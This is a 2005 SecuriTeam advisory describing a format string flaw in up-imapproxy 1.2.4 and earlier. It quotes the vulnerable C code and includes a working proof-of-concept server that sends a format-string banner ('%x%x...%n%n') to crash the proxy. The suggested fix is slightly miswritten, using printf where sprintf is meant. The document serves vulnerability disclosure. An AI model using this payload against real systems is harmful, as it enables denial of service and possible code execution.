

# [UNIX] up-imapproxy Format String Vulnerability

**Source:** <http://www.derkeiler.com/Mailing-Lists/Securiteam/2005-11/0006.html>

---

**From:** SecuriTeam ([support\\_at\\_securiteam.com](mailto:support_at_securiteam.com))

**Date:** 11/01/05

To: [list@securiteam.com](mailto:list@securiteam.com)

Date: 1 Nov 2005 16:12:10 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

-----

up-imapproxy Format String Vulnerability

---

## SUMMARY

<<http://imapproxy.org/>> up-imapproxy "proxies IMAP transactions between an IMAP client and an IMAP server". A format string vulnerability in up-imapproxy's handling of the response server's banner allows attackers to cause the program to execute arbitrary code.

## DETAILS

### Vulnerable Systems:

\* up-imapproxy version 1.2.4 and prior

### Vulnerable code:

/up-imapproxy-1.2.4/src/main.c

```
function: ParseBannerAndCapability();
static int ParseBannerAndCapability( char *DestBuf,
    unsigned int DestBufSize,
    char *SourceBuf,
    unsigned int SourceBufSize )
{
..
    SourceBuf[SourceBufSize - 2] = '\0';
```

## Securiteam: [UNIX] up-imaproxy Format String Vulnerability

```
    CP = strtok( SourceBuf, " " );  
..  
sprintf( DestBuf, CP );  
..  
}
```

This function uses in another function from main.c.

function: SetBannerAndCapability()

```
static void SetBannerAndCapability( void )  
{  
..  
    BannerLen = ParseBannerAndCapability( Banner, sizeof Banner - 1,  
        itd.ReadBuf, BytesRead );  
..  
    if ( strncasecmp( Banner, IMAP_UNTAGGED_OK, strlen(IMAP_UNTAGGED_OK))  
    )  
    {  
        syslog(LOG_ERR, "%s: Unexpected response from imap server on initial  
connection: %s --- Exiting.", fn, Banner);  
        close( itd.conn->sd );  
        exit( 1 );  
    }  
..  
}
```

As you can see ParseBannerAndCapability() function calls vulnerable printf() without format string. A correct call would be of the sorts of: printf( DestBuf, "%s", CP );

Instead

```
printf( DestBuf, CP );
```

Vulnerability can be used to execute arbitrary code on target's machine. Imaproxy incorrectly parse banner from IMAP daemon. Look at below PoC code.

Proof of Concept:

```
/*  
PoC exploit code for up-imaproxy <= 1.2.4  
by Darkeagle from ExploiterZ Labs
```

```
eagle [ at ] exploiterz [ dot ] org
```

an exploit binds port (143) and when imaproxy connects to this exploit-server and gets banner, it's child process crashes..

```
*/
```

## Securiteam: [UNIX] up–imapproxy Format String Vulnerability

```
#include <stdio.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <arpa/inet.h>
#include <unistd.h>

#define BANNER "AAAAAAAAAA%x%x%x%x%x%n%n\n\r\n\r\n"

int main ( int argc, char *argv[] )
{
    struct sockaddr_in addr, cl_addr;
    int sock, cl_sock, addr_size;
    char *laddr;
    socklen_t l;

    printf("Imapproxy <= 1.2.4 PoC Exploit\n");

    sock = socket(AF_INET, SOCK_STREAM, IPPROTO_IP);

    addr.sin_family = AF_INET;
    addr.sin_port = htons(143);
    addr.sin_addr.s_addr = inet_addr("127.0.0.1");

    bind(sock, (struct sockaddr*)&addr, sizeof(addr));
    listen(sock, 5);

    addr_size = sizeof(addr);

    while (1)
    {
        cl_sock = accept(sock, (struct sockaddr*)&cl_addr, &l);
        laddr = inet_ntoa(cl_addr.sin_addr);
        send(cl_sock, BANNER, strlen(BANNER), 0);
        printf("IP: %s\n", laddr);
    }

    return 0;
}
```

### ADDITIONAL INFORMATION

The information has been provided by <mailto:eagle@exploiterz.org>

Darkeagle.

The original article can be found at:

<<http://exploiterz.org/adv/up-imapproxy.txt>>

<http://exploiterz.org/adv/up-imapproxy.txt>

Securiteam: [UNIX] up-imapproxy Format String Vulnerability

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====  
=====

**DISCLAIMER:**

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.